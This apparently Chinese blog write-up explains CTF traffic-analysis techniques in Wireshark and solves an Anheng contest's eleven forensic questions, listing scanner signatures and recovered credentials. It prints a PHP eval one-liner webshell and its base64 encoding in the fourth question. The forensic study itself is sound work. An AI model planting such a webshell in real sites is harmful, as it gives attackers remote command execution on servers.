前言:
流量分析很有意思,之前忙于考试,暂时没有学习了,考试结束了就来总结一下一些CTF下常见的流量分析的题型。
0x00:流量包修复

使用wireshark打开流量包发现报错,可以使用在线pacp包修复工具进行修复
http://f00l.de/hacking/pcapfix.php

修复好之后再重新打开,翻了一下发现

这些包中的ID拼凑起来便是flag,可以查看一下


所以拼接起来即可组成flag
0x02:WEB扫描分析
常见的WEB扫描器有Awvs,Netsparker,Appscan,Webinspect,Rsas,Nessus,WebReaver,Sqlmap
有的CTF题会考察攻击者使用的是哪一种扫描器,所以在做这类题之前,先要了解各个扫描器所含的特征
AWVS
#url
acunetix
acunetix_wvs
acunetix_test
#headers
Host: acunetix_wvs_security_test
Cookie: acunetix_wvs_security_test
Cookie: acunetix
Accept: acunetix/wvs
#body
acunetix_wvs_security_test
acunetix
Nessus
#url
nessus
Nessus
#headers
x_forwarded_for: nessus
referer: nessus
host: nessus
#body
nessus
Nessus
等等,详细的就不再列出,可以参考师傅的博客
https://www.77169.net/html/259708.html
https://www.freebuf.com/column/156291.html
既然知道了各个扫描器的特征,就使用如下命令查询
http contains “扫描器特征值”

过滤之后便可以发现明显的awvs的特征,所以黑客使用的扫描器是awvs
0x03:后台目录爆破
涉及到爆破,就要发大量的请求,如黑客使用御剑等工具进行目录扫描,会发送很多请求,因为是在遍历字典中的一些目录,所以捕获到数据包中会有一大片都是扫描目录的而且还是404 Not Found
ip.addr==192.168.32.189 && http contains "404"


0x04:后台账号密码爆破
当黑客扫描到后台登陆页面时,肯定会先使用万能密码和弱口令进行尝试,而登陆页面一般都是POST请求,万能密码和弱口令一般都是含有admin的,而且登陆页面一般是有login这个关键字的,所以可以利用这些进行过滤。
http.request.method == "POST" && http contains "login"

随便查看一个,发现都是在进行后台账号爆破


0x05:Webshell上传
黑客上传了恶意webshell文件,有的题目通过给出的流量包要求还原出攻击者上传的webshll内容,通常webshell的上传都是POST方式,而且webshell也分为很多种的,比如最常见的一句话木马,这反而是最简单的一种,有时查看是否含有关键字eval、system、assert便可以定位到其上传的webshell,但也不是绝对就可以查看到。
http.request.method == "POST" && http contains "关键字"
下面就通过安恒八月月赛流量分析来实践一番
0x06:安恒八月月赛流量分析
资源链接
https://pan.baidu.com/s/13SoD6xB7YBiqpUDCIcb8mg
题目背景

1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)
4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)
11.某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少
第一个问题
查找黑客所使用的扫描器
所以结合上面所说的扫描器的特征进行过滤一下
http contains "acunetix"

所以黑客使用的扫描器是AWVS
第二个问题
黑客扫描到的登陆后台是
如果黑客扫描到后台,一定会进行大量尝试账号密码,一定是以POST方式进行的
http.request.method == "POST"

查看一下TCP流,发现302重定向

所以可以确定黑客扫描到的登陆后台是/admin/login.php?rec=login
第三个问题
黑客使用了什么账号密码登陆了web后台(形式:username/password)
在上面知道了登陆后台是/admin/login.php?rec=login,而且有302重定向的,所以可以确定黑客登陆的账号和密码,但是观察了好多302登陆成功的,账号密码也都不一样,所以这里再确定好黑客的IP,看看黑客登陆用的账号密码到底是哪个?

http.request.method == "POST" && http contains "rec=login" && ip.src==192.168.94.59

按时间进行排序,发现最后一条有302重定向

所以可以确定黑客使用的账号和密码是
admin/admin!@#pass123
第四个问题
黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
http.request.method == "POST" && ip.src==192.168.94.59 && http
查询一下黑客给服务器都发送了什么

发现一个很可疑的文件a.php,一般网站是不会命名这样的文件,所以需要注意一下。

base64解码一下,也没发现有什么作用。但是可以知道的是webshell是php写的,1234为传递值,这里查了很久也没有发现是怎么上传进去的,所以可以猜测一下是php一句话木马。
http contains "<?php @eval"
tcp contains "<?php @eval"
但是很奇怪的是在http下没有找到

但是在tcp下却找到了

下次的话如果http不行,就使用tcp,可能是tcp重传的原因,导致http中没追踪到
文件名:a.php
内容是:<?php @eval($_POST[1234]);?>
编码:PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==
第五个问题
黑客在robots.txt中找到的flag是什么
问题中已经给出了线索,即robots.txt,所以利用这个关键词去查
http contains "robots.txt"


找到的flag是
87b7cb79481f317bde90c116cf36084b
也可以通过导出http对象,在文本过滤器中选择robots.txt,将文件保存下来

第六个问题
黑客找到的数据库密码是多少
找数据库密码就涉及到三个关键字,分别是mysql、database、password,可以通过这几个关键字来进行查询
http contains "database"

但是这样过滤的数据还是太多,可以再借助状态码来过滤一下,黑客可以得到mysql数据库的密码,说明是请求文件之后服务器正常返回,也就是状态码200。
http contains "database" && http.response.code==200

只有一条,减少了查找的时间

数据库密码为:e667jUPvJjXHvEUv
第七个问题
黑客在数据库中找到的hash_code是什么
可以先利用这个关键字查找一下,但是没有发现什么,既然还是关于数据库的,在上面我们已经知道数据库的主机是10.3.3.101,可以先查这个ip有什么数据

在第一个数据包中什么也没找到,可以查询第二个数据包

这是发出请求,可以通过查看响应结果来获取hash_code的值

hash_code:d1c029893df40cb0f47bcf8f1c3c17ac
第八个问题
黑客破解了账号ijnu@test.com得到的密码是什么
在webtwo.pcap这个流量包中,使用分组详情查询,即可查到密码


MD5解密一下即可
第九个问题
被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
回到webone.pcap这个流量包中,这个问题问的是网卡的配置,一般网卡的名称都为eth0,所以可以利用这个关键词进行查询
tcp contains "eth0"
追踪一下tcp流,即可发现网卡的相关配置

内网IP为10.3.3.100
第十个问题
黑客使用了什么账号登陆了mail系统(形式: username/password)
先查询下mailtwo.pcap这个数据包,一开始利用POST和mail过滤了下
http.request.method==POST && http contains "mail"

发现黑客进行大量的登陆尝试,随便找了一个密码,先看看是什么加密的

不是base64,应该是AES加密,但需要找到加密的密钥,所以还是得重新过滤在服务器返回的信息中去查找,就先只过滤一下http,随便找一个状态码为200的追踪下TCP流,在服务器返回的信息中发现

看了师傅的博客,才知道
这是AES的CBC加密,填充格式为ZeroPadding,密钥为字符串1234567812345678的hash值,偏移量为1234567812345678
既然加密方式知道了,下面只需要找到正确的账号密码即可
在过滤了http后,发现第一条数据有logout,查看了一下Cookie信息,发现了登陆的用户名

在42号数据请求中,发现登录用户为wenwenni,再查看一下返回数据44号中出现{"success":true},代表登陆成功。
(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59

发现都是在爆破,而且最后也没有出现成功的,利用这个过滤方法查询第二个包mailtwo1.pcap

从后往前看,18152是登陆成功的返回结果,对应的17126则应该就是正确的加密后的密码

admin/admin!@#PASS123
第十一个问题
黑客获得的vpn的ip是多少
在做题之前需要了解下VPN的一些协议,如PPTP
https://blog.csdn.net/zhaqiwen/article/details/10083025
PPTP原理
1.PPTP客户机使用动态分配的TCP端口号,与PPTP服务器使用的保留TCP端口号123建立控制连接
(PPTP控制连接携带PPTP呼叫控制盒管理信息,用于维护PPTP隧道)。
2.客户端与服务器通过控制连接来创建、维护、终止一条隧道。
3.PPP帧的有效载荷经过加密、压缩或是两者的混合处理。
4.使用通用路由封装GRE对PPP帧进行封装。
5.将PPP帧封装进IP数据报文中。通过IP网络如Internet或其他企业准用INTRANET灯发送给PPTP服务器。
6.服务器接收到PPTP数据包后进行常规处理。
此外,还需要了解下SMB服务
SMB服务详解
先打开vpnone.pcap,发现

vpnone.pcap应该只是在尝试登陆VPN,再来查看下vpntwo.pcap
在统计——>IPV4中发现

10.3.4.96 、10.3.4.55 、10.3.4.3出现的次数最多
先过滤一下SMB,发现

所以10.3.4.96是SMB服务器,排除,再来查询下10.3.4.55
ip.addr==10.3.4.55

10.3.4.3先PING10.3.4.55
故因此可以推断是黑客获得VPN的IP是10.3.4.3
本文介绍了安恒八月月赛的流量分析过程,涉及流量包修复、WEB扫描器识别、后台目录爆破、账号密码爆破、Webshell上传等环节。通过Wireshark等工具,分析黑客使用的扫描器、登陆后台、上传的webshell、数据库密码、hash_code、邮件系统账号等关键信息。
3300

被折叠的 条评论
为什么被折叠?



